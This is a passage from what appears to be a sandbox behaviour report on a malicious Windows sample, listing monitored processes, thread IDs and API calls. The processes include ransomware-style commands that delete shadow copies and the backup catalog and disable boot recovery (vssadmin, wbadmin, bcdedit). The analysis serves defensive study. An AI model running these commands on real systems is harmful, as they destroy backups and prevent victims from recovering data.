(_Block=0x16fbd1fdd10) [0085.696] free (_Block=0x16fbd1fa710) [0085.696] free (_Block=0x16fbd1fb260) [0085.696] free (_Block=0x16fbd1fb280) [0085.696] free (_Block=0x16fbd1fa850) [0085.696] free (_Block=0x16fbd1fb4a0) [0085.696] free (_Block=0x16fbd1fb2c0) [0085.696] free (_Block=0x16fbd1faa10) [0085.696] free (_Block=0x16fbd1fdeb0) [0085.696] free (_Block=0x16fbd1fdd50) [0085.696] free (_Block=0x16fbd1fa650) [0085.696] free (_Block=0x16fbd1fdb70) [0085.696] free (_Block=0x16fbd1fde30) [0085.696] free (_Block=0x16fbd1fa7d0) [0085.696] free (_Block=0x16fbd1fb420) [0085.696] free (_Block=0x16fbd1fb3e0) [0085.696] free (_Block=0x16fbd1fac90) [0085.696] free (_Block=0x16fbd1fb520) [0085.696] free (_Block=0x16fbd1fb1a0) [0085.696] free (_Block=0x16fbd1fa890) [0085.696] free (_Block=0x16fbd1fb2a0) [0085.697] free (_Block=0x16fbd1fb500) [0085.697] free (_Block=0x16fbd1fa6d0) [0085.697] free (_Block=0x16fbd1fb1c0) [0085.697] free (_Block=0x16fbd1fb240) [0085.697] free (_Block=0x16fbd1fa590) [0085.697] free (_Block=0x16fbd1fb460) [0085.697] free (_Block=0x16fbd1fb220) [0085.697] free (_Block=0x16fbd1fa750) [0085.697] free (_Block=0x16fbd1fb4e0) [0085.697] free (_Block=0x16fbd1fb320) [0085.697] free (_Block=0x16fbd1fa790) [0085.697] free (_Block=0x16fbd1fb3c0) [0085.697] free (_Block=0x16fbd1fb200) [0085.697] free (_Block=0x16fbd1fa810) [0085.697] free (_Block=0x16fbd1fb440) [0085.697] free (_Block=0x16fbd1fb1e0) [0085.697] free (_Block=0x16fbd1fab90) [0085.697] free (_Block=0x16fbd1fb480) [0085.697] free (_Block=0x16fbd1fb2e0) [0085.697] free (_Block=0x16fbd1fa8d0) [0085.697] CoUninitialize () [0088.918] exit (_Code=-2147217388) [0088.943] free (_Block=0x16fbd1fa5d0) [0088.943] free (_Block=0x16fbd1f1620) [0088.943] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0088.943] free (_Block=0x16fbd1fb5f0) [0088.943] free (_Block=0x16fbd1f5d40) [0088.943] free (_Block=0x16fbd1f15e0) [0088.943] free (_Block=0x16fbd1f15a0) [0088.943] free (_Block=0x16fbd1f6f70) [0088.943] free (_Block=0x16fbd1f6f30) [0088.943] free (_Block=0x16fbd1f6ed0) [0088.943] free (_Block=0x16fbd1f6e50) [0088.943] free (_Block=0x16fbd1f6e10) [0088.944] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0088.944] free (_Block=0x16fbd1fe150) Thread: id = 34 os_tid = 0xf70 Thread: id = 42 os_tid = 0xee8 Thread: id = 43 os_tid = 0x15c Thread: id = 44 os_tid = 0xaf0 Process: id = "11" image_name = "wbadmin.exe" filename = "c:\\windows\\system32\\wbadmin.exe" page_root = "0xc506000" os_pid = "0xdb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x654" cmd_line = "wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0xd94 Thread: id = 33 os_tid = 0xcbc Thread: id = 36 os_tid = 0x4a4 Thread: id = 40 os_tid = 0xfc4 Thread: id = 41 os_tid = 0xe98 Process: id = "12" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0xb5ad000" os_pid = "0xdec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xcdc" cmd_line = "vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0x7ec Thread: id = 35 os_tid = 0xefc Thread: id = 37 os_tid = 0xe88 Thread: id = 38 os_tid = 0xb60 Thread: id = 39 os_tid = 0xf5c Process: id = "13" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x61c0000" os_pid = "0x344" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x770" cmd_line = "bcdedit /set {default} recoveryenabled no" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0xf30 Thread: id = 30 os_tid = 0xef4 Process: id = "14" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x348cf000" os_pid = "0x540" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xf04" cmd_line = "bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0xf98 Thread: id = 31 os_tid = 0xfb0 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x51a30000" os_pid = "0x3c0" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "10" os_parent_pid = "0xb84" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 45 os_tid = 0x4c4 Thread: id = 46 os_tid = 0x824 Thread: id = 47 os_tid = 0x754 Thread: id = 48 os_tid = 0xe0c Thread: id = 49 os_tid = 0x48c Thread: id = 50 os_tid = 0x42c Thread: id = 51 os_tid = 0xfac Thread: id = 52 os_tid = 0xdf0 Thread: id = 53 os_tid = 0xf80 Thread: id = 54 os_tid = 0x394 Thread: id = 55 os_tid = 0xcc8 Thread: id = 56 os_tid = 0xf84 Thread: id = 57 os_tid = 0xd20 Thread: id = 58 os_tid = 0xf58 Thread: id = 59 os_tid = 0xc38 Thread: id = 60 os_tid = 0xdb4 Thread: id = 61 os_tid = 0x2ac Thread: id = 62 os_tid = 0xd74 Thread: id = 63 os_tid = 0xd64 Thread: id = 64 os_tid = 0xd54 Thread: id = 65 os_tid = 0xffc Thread: id = 66 os_tid = 0xe0 Thread: id = 67 os_tid = 0x5f8 Thread: id = 68 os_tid = 0x504 Thread: id = 69 os_tid = 0xd04 Thread: id = 70 os_tid = 0x798 Thread: id = 71 os_tid = 0xfd0 Thread: id = 72 os_tid = 0x4e4 Thread: id = 73 os_tid = 0x2d0 Thread: id = 74 os_tid = 0xdd8 Thread: id = 75 os_tid = 0x270 Thread: id = 76 os_tid = 0x200 Thread: id = 77 os_tid = 0x1a4 Thread: id = 78 os_tid = 0xa70 Thread: id = 79 os_tid = 0xd9c Thread: id = 80 os_tid = 0xdf8 Thread: id = 81 os_tid = 0xf18 Thread: id = 82 os_tid = 0xf14 Thread: id = 83 os_tid = 0xf10 Thread: id = 84 os_tid = 0xef0 Thread: id = 85 os_tid = 0xedc Thread: id = 86 os_tid = 0xa50 Thread: id = 87 os_tid = 0xa3c Thread: id = 88 os_tid = 0xa30 Thread: id = 89 os_tid = 0xa18 Thread: id = 90 os_tid = 0x9c4 Thread: id = 91 os_tid = 0x9ac Thread: id = 92 os_tid = 0x9a4 Thread: id = 93 os_tid = 0x9a0 Thread: id = 94 os_tid = 0x99c Thread: id = 95 os_tid = 0x998 Thread: id = 96 os_tid = 0x990 Thread: id = 97 os_tid = 0x988 Thread: id = 98 os_tid = 0x980 Thread: id = 99 os_tid = 0x970 Thread: id = 100 os_tid = 0x96c Thread: id = 101 os_tid = 0x968 Thread: id = 102 os_tid = 0x960 Thread: id = 103 os_tid = 0x954 Thread: id = 104 os_tid = 0x950 Thread: id = 105 os_tid = 0x93c Thread: id = 106 os_tid = 0x938 Thread: id = 107 os_tid = 0x924 Thread: id = 108 os_tid = 0x87c Thread: id = 109 os_tid = 0x80c Thread: id = 110 os_tid = 0x808 Thread: id = 111 os_tid = 0x4dc Thread: id = 112 os_tid = 0x7dc Thread: id = 113 os_tid = 0x7d4 Thread: id = 114 os_tid = 0x7d0 Thread: id = 115 os_tid = 0x7c0 Thread: id = 116 os_tid = 0x730 Thread: id = 117 os_tid = 0x6f0 Thread: id = 118 os_tid = 0x6ec Thread: id = 119 os_tid = 0x664 Thread: id = 120 os_tid = 0x59c Thread: id = 121 os_tid = 0x554 Thread: id = 122 os_tid = 0x4b4 Thread: id = 123 os_tid = 0x44c Thread: id = 124 os_tid = 0x448 Thread: id = 125 os_tid = 0x428 Thread: id = 126 os_tid = 0x418 Thread: id = 127 os_tid = 0x414 Thread: id = 128 os_tid = 0x35c Thread: id = 129 os_tid = 0x340 Thread: id = 130 os_tid = 0x3a0 Thread: id = 131 os_tid = 0x38c Thread: id = 132 os_tid = 0x364 Thread: id = 133 os_tid = 0x248 Thread: id = 134 os_tid = 0x280 Thread: id = 135 os_tid = 0x29c Thread: id = 136 os_tid = 0x188 Thread: id = 137 os_tid = 0x3c4 Thread: id = 157 os_tid = 0xfb0 Thread: id = 158 os_tid = 0x344 Thread: id = 159 os_tid = 0x540 Thread: id = 180 os_tid = 0xf84 Thread: id = 191 os_tid = 0xea8 Thread: id = 192 os_tid = 0xd84 Thread: id = 193 os_tid = 0xaf0 Thread: id = 194 os_tid = 0xf70 Thread: id = 195 os_tid = 0x15c Thread: id = 196 os_tid = 0xee8 Thread: id = 212 os_tid = 0x838 Thread: id = 213 os_tid = 0xb98 Thread: id = 214 os_tid = 0xc38 Thread: id = 215 os_tid = 0xdb4 Thread: id = 216 os_tid = 0xeb8 Thread: id = 217 os_tid = 0x868 Thread: id = 218 os_tid = 0xec0 Thread: id = 219 os_tid = 0xef8 Thread: id = 220 os_tid = 0xb64 Thread: id = 221 os_tid = 0xfcc Thread: id = 222 os_tid = 0xe98 Thread: id = 223 os_tid = 0xd94 Thread: id = 224 os_tid = 0x4a4 Thread: id = 225 os_tid = 0xfc4 Thread: id = 226 os_tid = 0xcbc Thread: id = 227 os_tid = 0xdb0 Thread: id = 228 os_tid = 0xd20 Thread: id = 229 os_tid = 0xa8c Thread: id = 230 os_tid = 0xe3c Thread: id = 231 os_tid = 0xfec Thread: id = 232 os_tid = 0xefc Thread: id = 235 os_tid = 0xd78 Thread: id = 236 os_tid = 0x8e8 Thread: id = 237 os_tid = 0x6dc Thread: id = 250 os_tid = 0x744 Process: id = "16" image_name = "trustedinstaller.exe" filename = "c:\\windows\\servicing\\trustedinstaller.exe" page_root = "0x15f22000" os_pid = "0xcc4" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\TrustedInstaller" [0xe], "NT AUTHORITY\\Logon Session 00000000:00062101" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 138 os_tid = 0xf30 Thread: id = 139 os_tid = 0x8ac Thread: id = 140 os_tid = 0xf2c Thread: id = 141 os_tid = 0xce0 Thread: id = 142 os_tid = 0xbec Thread: id = 143 os_tid = 0xe64 Thread: id = 144 os_tid = 0xa60 Thread: id = 145 os_tid = 0xef4 Thread: id = 172 os_tid = 0xcac Process: id = "17" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x50daa000" os_pid = "0xe04" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0002f35f" [0xc000000f] Thread: id = 146 os_tid = 0x548 Thread: id = 147 os_tid = 0x37c Thread: id = 148 os_tid = 0xe30 Thread: id = 149 os_tid = 0xe2c Thread: id = 150 os_tid = 0xe28 Thread: id = 151 os_tid = 0xe24 Thread: id = 152 os_tid = 0xe20 Thread: id = 153 os_tid = 0xe1c Thread: id = 154 os_tid = 0xe18 Thread: id = 155 os_tid = 0xe14 Thread: id = 156 os_tid = 0xe08 Thread: id = 238 os_tid = 0x8f0 Thread: id = 239 os_tid = 0xec8 Process: id = "18" image_name = "wbengine.exe" filename = "c:\\windows\\system32\\wbengine.exe" page_root = "0x376a6000" os_pid = "0xf24" os_integrity_level = "0x4000" os_privileges = "0x20860100" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0xdb0" cmd_line = "\"C:\\WINDOWS\\system32\\wbengine.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\wbengine" [0xe], "NT AUTHORITY\\Logon Session 00000000:000629e0" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 164 os_tid = 0x90c Thread: id = 165 os_tid = 0xf08 Thread: id = 166 os_tid = 0xd24 Thread: id = 167 os_tid = 0x4a8 Thread: id = 168 os_tid = 0xfbc Thread: id = 169 os_tid = 0xfc0 Thread: id = 170 os_tid = 0x4c8 Thread: id = 171 os_tid = 0xce4 Process: id = "19" image_name = "vdsldr.exe" filename = "c:\\windows\\system32\\vdsldr.exe" page_root = "0x1d877000" os_pid = "0xf5c" os_integrity_level = "0x4000" os_privileges = "0x20860100" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0xf24" cmd_line = "C:\\WINDOWS\\System32\\vdsldr.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\wbengine" [0xe], "NT AUTHORITY\\Logon Session 00000000:000629e0" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 173 os_tid = 0xd14 Thread: id = 174 os_tid = 0xd70 Thread: id = 175 os_tid = 0xed4 Thread: id = 176 os_tid = 0x4a0 Thread: id = 177 os_tid = 0xe88 Thread: id = 178 os_tid = 0x7ec Thread: id = 179 os_tid = 0xb60 Process: id = "20" image_name = "vds.exe" filename = "c:\\windows\\system32\\vds.exe" page_root = "0x1f4ab000" os_pid = "0xf7c" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0xf5c" cmd_line = "C:\\WINDOWS\\System32\\vds.exe" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\vds" [0xe], "NT AUTHORITY\\Logon Session 00000000:00066e1e" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 181 os_tid = 0xf68 Thread: id = 182 os_tid = 0x540 Thread: id = 183 os_tid = 0xf28 Thread: id = 184 os_tid = 0xf6c Thread: id = 185 os_tid = 0xeb0 Thread: id = 186 os_tid = 0xa34 Thread: id = 187 os_tid = 0xf60 Thread: id = 188 os_tid = 0x174 Thread: id = 189 os_tid = 0xf64 Thread: id = 190 os_tid = 0x824 Thread: id = 199 os_tid = 0xb84 Thread: id = 200 os_tid = 0xc48 Thread: id = 201 os_tid = 0xac8 Thread: id = 202 os_tid = 0xa6c Thread: id = 203 os_tid = 0x6c0 Thread: id = 204 os_tid = 0xa88 Process: id = "21" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x6215000" os_pid = "0xddc" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 197 os_tid = 0x490 Thread: id = 198 os_tid = 0xe30 Thread: id = 205 os_tid = 0xee0 Thread: id = 206 os_tid = 0xfc8 Thread: id = 207 os_tid = 0xd68 Thread: id = 208 os_tid = 0x714 Thread: id = 209 os_tid = 0xf54 Thread: id = 210 os_tid = 0x344 Thread: id = 211 os_tid = 0xfb0 Process: id = "22" image_name = "taskhostw.exe" filename = "c:\\windows\\system32\\taskhostw.exe" page_root = "0x248f0000" os_pid = "0xd14" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "taskhostw.exe -RegisterDevice -SettingChange -Full" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 233 os_tid = 0x7ec Thread: id = 234 os_tid = 0x9c0 Thread: id = 246 os_tid = 0xf48 Thread: id = 247 os_tid = 0xeec Thread: id = 248 os_tid = 0xbec Thread: id = 249 os_tid = 0xaec Thread: id = 251 os_tid = 0xe7c Process: id = "23" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x1e849000" os_pid = "0xc14" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 240 os_tid = 0x6c8 Thread: id = 241 os_tid = 0xaf0 Thread: id = 242 os_tid = 0x15c Thread: id = 243 os_tid = 0xf90 Thread: id = 244 os_tid = 0xcb8 Thread: id = 245 os_tid = 0xfb8 Process: id = "24" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x51914000" os_pid = "0x3f4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AJRouter" [0xa], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xa], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\RmSvc" [0xa], "NT SERVICE\\TimeBrokerSvc" [0xa], "NT SERVICE\\TimeBroker" [0xa], "NT 